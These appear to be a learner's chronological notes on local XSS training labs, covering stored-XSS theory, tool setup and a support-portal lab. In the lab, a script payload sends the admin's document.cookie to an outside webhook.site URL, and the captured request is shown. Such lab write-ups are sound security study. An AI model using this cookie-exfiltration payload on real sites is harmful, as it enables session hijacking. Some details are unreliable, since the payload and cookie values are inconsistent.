

Cross-Site Scripting (XSS) - Chronological Notes

NOTE 1: Stored XSS Theory

What is stored cross-site scripting?

- Also known as second-order or persistent XSS
- Arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way

Example Scenario:

- Website allows users to submit comments on blog posts
- Users submit comments using HTTP request:

text

POST /post/comment HTTP/1.1

Host: vulnerable-website.com

Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=cex

- The comment is displayed to other users visiting the blog post:

text

<p>This post was extremely helpful.</p>

Attack Vector:

- Attacker can submit a malicious comment:

text

<script>/ Bad stuff here... */</script>*

- URL-encoded version:

text

<p><script>/ Bad stuff here... */</script></p>*

NOTE 2: Lab Environment - XSS 0x01

Lab Access:

- URL: <http://localhost/x0x01.php>
- Function: Add an item to todo list

Attempted Payload:

text

```
</script>
```

Network Activity Observed:

Method	Domain	File	Initiator	Type	Transferred	Size	Timing
GET	localhost	x0x01.php	document	html	1.12 kB	1.81 kB	1 ms
GET	localhost	popper.min.js	script	js	cached	0 B	0 ms
GET	localhost	bootstrap.min.js	script	js	cached	0 B	0 ms
GET	localhost	favicon.ico	FaviconLoader.js	html	cached	271 B	0 ms

NOTE 3: Docker Setup

User: zisan@zisan

Commands Executed:

text

```
cd Downloads
```

```
cd labs
```

```
sudo docker-compose up
```

```
[sudo] password for zisan:
```

Note: Docker environment being set up for lab exercises.

NOTE 4: XSS Tool Research

Search Query: "xss check with xssstrike"

XSSStrike Information:

- Most advanced XSS scanner
- Detection suite equipped with four hand-written parsers
- Intelligent payload generator
- Powerful fuzzing engine
- Source: <https://github.com/s0md3v/XSSStrike>

Features:

- Cross Site Scripting detection
 - Four parsers
 - Intelligent payload generator
 - Powerful fuzzing engine
-

NOTE 5: ZAP (Zed Attack Proxy) Installation

User: zisan@zisan

Initial Command:

text

owasp-zap -h

Result: Command not found, suggested to install zaproxy

Installation:

text

sudo apt install zaproxy

[sudo] password for zisan:

NOTE 8: Firefox Extensions Research

Cookie Editor Extension:

- Search: "firefox cookie editor"
- Extension: Cookie-Editor
- Function: Create, edit, and delete cookies for the current tab

- Use: Perfect for developing, quickly...
- Rating: 4.2/5 (136 votes)
- Free
- Platform: Firefox Add-ons

Firefox Multi-Account Containers:

- Search: "firefox container"
 - Extension: Firefox Multi-Account Containers
 - Function: Carve out a separate box for each of your online lives
 - Benefit: No more opening a different browser just to...
 - Rating: 4.6/5 (6,699 votes)
 - Free
-

NOTE 9: XSS 0x02 - Cookie Exfiltration Attempt

Lab: XSS 0x02

URL: <http://localhost>

Page: /r/mightJustWork

Test: "What is your crazy idea that might just work?"

Console Attempt:

text

document.cookies

Result: undefined

Console Error:

- Source map error: Error: request failed with status 404
 - Resource URL: <http://localhost/assets/bootstrap.min.css>
 - Source Map URL: bootstrap.min.css.map [Learn More]
-

NOTE 10: XSS 0x03 - Support Portal

Lab: XSS 0x03

Page: Support portal

User: admin

Message: "Welcome admin. Your tickets are listed below."

Comment Submission:

text

```
<script> prompt("Zisan is a Good Boy") </script>
```

Additional Comment:

- "Zisan is a Good Boy"
- Posted by: guest

Previous Comment:

- "You're a terrible idea!"
- Posted by: jeremy

NOTE 11: XSS 0x03 - Advanced Cookie Exfiltration – used [Webhook.site](https://webhook.site) instead of manual API.

Page: Labs / XSS 0x03 - Support portal

Form Fill:

- Name: Sakib Haque Zisan

Initial Payload (contains error):

text

```
<script> var i = new image; i.src="https://webhook.site/82e1ce0d-29e0-4433-8165-2220b0e32cc7/";+document.cookies</script>
```

Corrected Payload:

text

```
<script> var i = new image; i.src="https://webhook.site/82e1ce0d-29e0-4433-8165-2220b0e32cc7/?"+document.cookie;</script>
```

Submit button visible

NOTE 12: Cookie Value Retrieved**Admin Cookie:**

text

admin cookie=5ac5355b84894ed056ab81b324c4675

Source: Document.cookie from console

Observation: The cookie value was successfully extracted and displayed

NOTE 13: [Webhook.site](https://webhook.site) - Request Capture

Webhook Site: <https://webhook.site/82e1ce0d-29e0-4433-8165-2220b0e32cc7>

Function: Test, process and transform emails and HTTP requests

- Instantly generate a free, unique URL and email address
- Test, inspect, and automate incoming HTTP requests
- Features visual workflow editor and scripts

Common Question: "What is a webhook used for?"

Key Difference Between Webhook and API:

- APIs are manual - they need to be asked to pull or modify data
 - Webhooks automatically send data in response to a specific event, without any request
 - Webhooks are a subset of APIs and are therefore far more limited than APIs - they can only send information
 - APIs are more versatile
-

NOTE 14: [Webhook.site](https://webhook.site) - Request Details

Requests Captured (2/500):

Request #1:

- GET #1cee8
- IP: 103.148.75.17
- Date: 10/29/2023 3:38:25 PM

Request #2:

- GET #85156
- IP: 103.148.75.17
- Date: 10/29/2023 3:44:23 PM (a few seconds ago)

Request Details (Request #2):

- **URL:** https://webhook.site/82e1ce0d-29e0-4433-8165-2220b0e32cc7/?admin_cookie=5ac5355b8489ded056ab81b324c4675
- **Host:** 103.148.75.17
- **Date:** 10/29/2023 3:44:23 PM
- **Size:** 0 bytes
- **ID:** 85156a5f-3594-4c89-bd24-7154a55e353

NOTE 15: Webhook Verification

Command Executed:

text

```
curl https://webhook.site/82e1ce0d-29e0-4433-8165-2220b0e32cc7
```

User: zisan@zisan

Location: ~ (home directory)

SUMMARY

The documented process demonstrates a complete Cross-Site Scripting (XSS) attack chain:

1. **Theory:** Understanding stored XSS - how malicious scripts can be injected into web applications
2. **Lab Setup:** Docker environment deployment for vulnerable web applications
3. **Tool Preparation:** Installing and configuring tools like XSSStrike and OWASP ZAP
4. **Attack Execution:**
 - XSS 0x01: Basic payload injection attempt with image tag
 - XSS 0x02: Console testing for cookie access
 - XSS 0x03: Successful stored XSS injection through support portal
5. **Payload Evolution:** From simple prompts to sophisticated cookie exfiltration using Image objects and [Webhook.site](https://webhook.site)
6. **Data Exfiltration:** Using [Webhook.site](https://webhook.site) to capture the admin cookie value
7. **Verification:** Cookie value confirmed to be:

text

```
admin cookie=5ac5355b84894ed056ab81b324c4675
```

This represents a successful stored XSS attack leading to session hijacking through cookie theft.